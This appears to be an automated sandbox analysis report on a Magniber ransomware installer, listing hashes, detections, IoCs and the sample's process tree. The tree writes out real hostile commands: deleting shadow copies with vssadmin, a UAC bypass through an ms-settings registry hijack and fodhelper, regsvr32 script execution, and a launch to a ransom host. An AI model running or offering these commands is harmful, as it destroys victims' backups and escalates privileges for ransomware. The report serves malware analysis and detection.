magniber | fffba37840957480e176802e89638fb53add9b39349241f8de52719f57a01d55

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
05-07-2023 18:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fffba37840957480e176802e89638fb53add9b39349241f8de52719f57a01d55.msi
Size

1.1MB
MD5

250a23219a576180547734430d71b0e6
SHA1

a5bcdb824d325d44c5e0feb5bf9389da520e6f82
SHA256

fffba37840957480e176802e89638fb53add9b39349241f8de52719f57a01d55
SHA512

e0c26cceff37d9328dddc9989ff75070b51a3ccd35c93e82fdcda3a828a90ac53d8604524f5195cc9d4865aa8680ccfd79f6d85710b46496ab9efea321c13417
SSDEEP

1536:j66iqjTbG3VvotZmMi0W7Ap0Ds0Dm78x:jAGelvoW0dQx

Score

10^/10

magniber ransomware

Malware Config

Signatures

Detect magniber ransomware 2 IoCs

resource	yara_rule
behavioral2/memory/2648-144-0x000001D157D30000-0x000001D157D33000-memory.dmp	family_magniber
behavioral2/memory/5104-313-0x000001DE2AF70000-0x000001DE2B07F000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Renames multiple (66) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Modifies extensions of user files 13 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\ImportMove.tif => C:\Users\Admin\Pictures\ImportMove.tif.yuyevbg	MsiExec.exe
File renamed	C:\Users\Admin\Pictures\TestCompare.raw => C:\Users\Admin\Pictures\TestCompare.raw.yuyevbg	MsiExec.exe
File opened for modification	C:\Users\Admin\Pictures\CompleteUnregister.tiff	MsiExec.exe
File renamed	C:\Users\Admin\Pictures\ExitProtect.png => C:\Users\Admin\Pictures\ExitProtect.png.yuyevbg	MsiExec.exe
File opened for modification	C:\Users\Admin\Pictures\GrantSkip.tiff	MsiExec.exe
File renamed	C:\Users\Admin\Pictures\MountSwitch.png => C:\Users\Admin\Pictures\MountSwitch.png.yuyevbg	MsiExec.exe
File renamed	C:\Users\Admin\Pictures\ReadSubmit.tif => C:\Users\Admin\Pictures\ReadSubmit.tif.yuyevbg	MsiExec.exe
File opened for modification	C:\Users\Admin\Pictures\UpdateSplit.tiff	MsiExec.exe
File renamed	C:\Users\Admin\Pictures\UpdateSplit.tiff => C:\Users\Admin\Pictures\UpdateSplit.tiff.yuyevbg	MsiExec.exe
File renamed	C:\Users\Admin\Pictures\BlockSave.crw => C:\Users\Admin\Pictures\BlockSave.crw.yuyevbg	MsiExec.exe
File renamed	C:\Users\Admin\Pictures\CheckpointInitialize.png => C:\Users\Admin\Pictures\CheckpointInitialize.png.yuyevbg	MsiExec.exe
File renamed	C:\Users\Admin\Pictures\CompleteUnregister.tiff => C:\Users\Admin\Pictures\CompleteUnregister.tiff.yuyevbg	MsiExec.exe
File renamed	C:\Users\Admin\Pictures\GrantSkip.tiff => C:\Users\Admin\Pictures\GrantSkip.tiff.yuyevbg	MsiExec.exe

Loads dropped DLL 1 IoCs

pid	Process
5104	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5104 set thread context of 2648	5104	MsiExec.exe	45
PID 5104 set thread context of 2716	5104	MsiExec.exe	44
PID 5104 set thread context of 2824	5104	MsiExec.exe	43

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\c0585d1b-8540-4fbf-9af0-fc1365395423.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20230705184640.pma	setup.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e56da67.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{8B0F0F68-120B-4579-87C8-8B074F5D9DFD}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDB61.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE10F.tmp	msiexec.exe
File created	C:\Windows\Installer\e56da69.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e56da67.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ee997c5502e070a80000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000ee997c550000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d012000000000000000032000000ffffffff000000000700010000680900ee997c55000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01232000000000020ed0d000000ffffffff000000000700010000680919ee997c55000000000000d0123200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000ee997c5500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
5656	vssadmin.exe
5620	vssadmin.exe
5340	vssadmin.exe
5588	vssadmin.exe
5840	vssadmin.exe
5660	vssadmin.exe

Modifies registry class 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings\shell\open	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/vovcg3567"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings\shell\open\command\DelegateExecute	CompPkgSrv.exe
Key created	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\WasEverActivated = "1"	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings\shell\open\command	CompPkgSrv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/vovcg3567"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/vovcg3567"	CompPkgSrv.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2890635272-812199704-3564780063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
580	msiexec.exe
580	msiexec.exe
5104	MsiExec.exe
5104	MsiExec.exe
4500	msedge.exe
4500	msedge.exe
3260	msedge.exe
3260	msedge.exe
5492	identity_helper.exe
5492	identity_helper.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
5104	MsiExec.exe
5104	MsiExec.exe
5104	MsiExec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
3260	msedge.exe
3260	msedge.exe
3260	msedge.exe
3260	msedge.exe
3260	msedge.exe
3260	msedge.exe
3260	msedge.exe
3260	msedge.exe
3260	msedge.exe
3260	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1288	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1288	msiexec.exe
Token: SeSecurityPrivilege	580	msiexec.exe
Token: SeCreateTokenPrivilege	1288	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1288	msiexec.exe
Token: SeLockMemoryPrivilege	1288	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1288	msiexec.exe
Token: SeMachineAccountPrivilege	1288	msiexec.exe
Token: SeTcbPrivilege	1288	msiexec.exe
Token: SeSecurityPrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeLoadDriverPrivilege	1288	msiexec.exe
Token: SeSystemProfilePrivilege	1288	msiexec.exe
Token: SeSystemtimePrivilege	1288	msiexec.exe
Token: SeProfSingleProcessPrivilege	1288	msiexec.exe
Token: SeIncBasePriorityPrivilege	1288	msiexec.exe
Token: SeCreatePagefilePrivilege	1288	msiexec.exe
Token: SeCreatePermanentPrivilege	1288	msiexec.exe
Token: SeBackupPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeShutdownPrivilege	1288	msiexec.exe
Token: SeDebugPrivilege	1288	msiexec.exe
Token: SeAuditPrivilege	1288	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1288	msiexec.exe
Token: SeChangeNotifyPrivilege	1288	msiexec.exe
Token: SeRemoteShutdownPrivilege	1288	msiexec.exe
Token: SeUndockPrivilege	1288	msiexec.exe
Token: SeSyncAgentPrivilege	1288	msiexec.exe
Token: SeEnableDelegationPrivilege	1288	msiexec.exe
Token: SeManageVolumePrivilege	1288	msiexec.exe
Token: SeImpersonatePrivilege	1288	msiexec.exe
Token: SeCreateGlobalPrivilege	1288	msiexec.exe
Token: SeBackupPrivilege	2196	vssvc.exe
Token: SeRestorePrivilege	2196	vssvc.exe
Token: SeAuditPrivilege	2196	vssvc.exe
Token: SeBackupPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe
Token: SeTakeOwnershipPrivilege	580	msiexec.exe
Token: SeRestorePrivilege	580	msiexec.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1288	msiexec.exe
1288	msiexec.exe
3260	msedge.exe
3260	msedge.exe
3260	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 580 wrote to memory of 1572	580	msiexec.exe	99
PID 580 wrote to memory of 1572	580	msiexec.exe	99
PID 580 wrote to memory of 5104	580	msiexec.exe	101
PID 580 wrote to memory of 5104	580	msiexec.exe	101
PID 2648 wrote to memory of 2784	2648	sihost.exe	102
PID 2648 wrote to memory of 2784	2648	sihost.exe	102
PID 2716 wrote to memory of 2172	2716	svchost.exe	103
PID 2716 wrote to memory of 2172	2716	svchost.exe	103
PID 2824 wrote to memory of 3312	2824	taskhostw.exe	104
PID 2824 wrote to memory of 3312	2824	taskhostw.exe	104
PID 5104 wrote to memory of 4720	5104	MsiExec.exe	105
PID 5104 wrote to memory of 4720	5104	MsiExec.exe	105
PID 4720 wrote to memory of 3260	4720	cmd.exe	107
PID 4720 wrote to memory of 3260	4720	cmd.exe	107
PID 3260 wrote to memory of 464	3260	msedge.exe	108
PID 3260 wrote to memory of 464	3260	msedge.exe	108
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4212	3260	msedge.exe	110
PID 3260 wrote to memory of 4500	3260	msedge.exe	111
PID 3260 wrote to memory of 4500	3260	msedge.exe	111
PID 3260 wrote to memory of 4696	3260	msedge.exe	112
PID 3260 wrote to memory of 4696	3260	msedge.exe	112
PID 3260 wrote to memory of 4696	3260	msedge.exe	112
PID 3260 wrote to memory of 4696	3260	msedge.exe	112
PID 3260 wrote to memory of 4696	3260	msedge.exe	112
PID 3260 wrote to memory of 4696	3260	msedge.exe	112

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\fffba37840957480e176802e89638fb53add9b39349241f8de52719f57a01d55.msi
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1288

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/t2o7g3z
  2⤵
  - Modifies registry class
  PID:3312
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:5360
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:5580
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/vovcg3567
      4⤵
      PID:5548
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5660
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:5572
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:5352
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/vovcg3567
      4⤵
      PID:5900
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/t2o7g3z
  2⤵
  - Modifies registry class
  PID:2172
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:5372
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:5592
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/vovcg3567
      4⤵
      PID:5728
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5620
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:284
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5656
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:6116
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/vovcg3567
      4⤵
      PID:5880
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5340

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/t2o7g3z
  2⤵
  PID:2784
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:5384
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:1088
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/vovcg3567
      4⤵
      PID:5632
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5656
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:276
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:5336
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/vovcg3567
      4⤵
      PID:5868
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5588

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:580
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:1572
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 863DC7DF85CFB8945D71C0A422DD257B
  2⤵
  - Modifies extensions of user files
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\System32\cmd.exe
    cmd /c "start microsoft-edge:http://8e1c6c9894402eb0d494yuyevbg.diedsad.info/yuyevbg^&2^&46447212^&66^&373^&2219041
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4720
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:http://8e1c6c9894402eb0d494yuyevbg.diedsad.info/yuyevbg&2&46447212&66&373&2219041
      4⤵
      Enumerates system info in registry
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3260
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0x44,0x104,0x7ff8502746f8,0x7ff850274708,0x7ff850274718
        5⤵
        
        PID:464
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,7617192955098956830,3514498919040768043,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2196 /prefetch:2
        5⤵
        
        PID:4212
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,7617192955098956830,3514498919040768043,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4500
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,7617192955098956830,3514498919040768043,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2732 /prefetch:8
        5⤵
        
        PID:4696
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
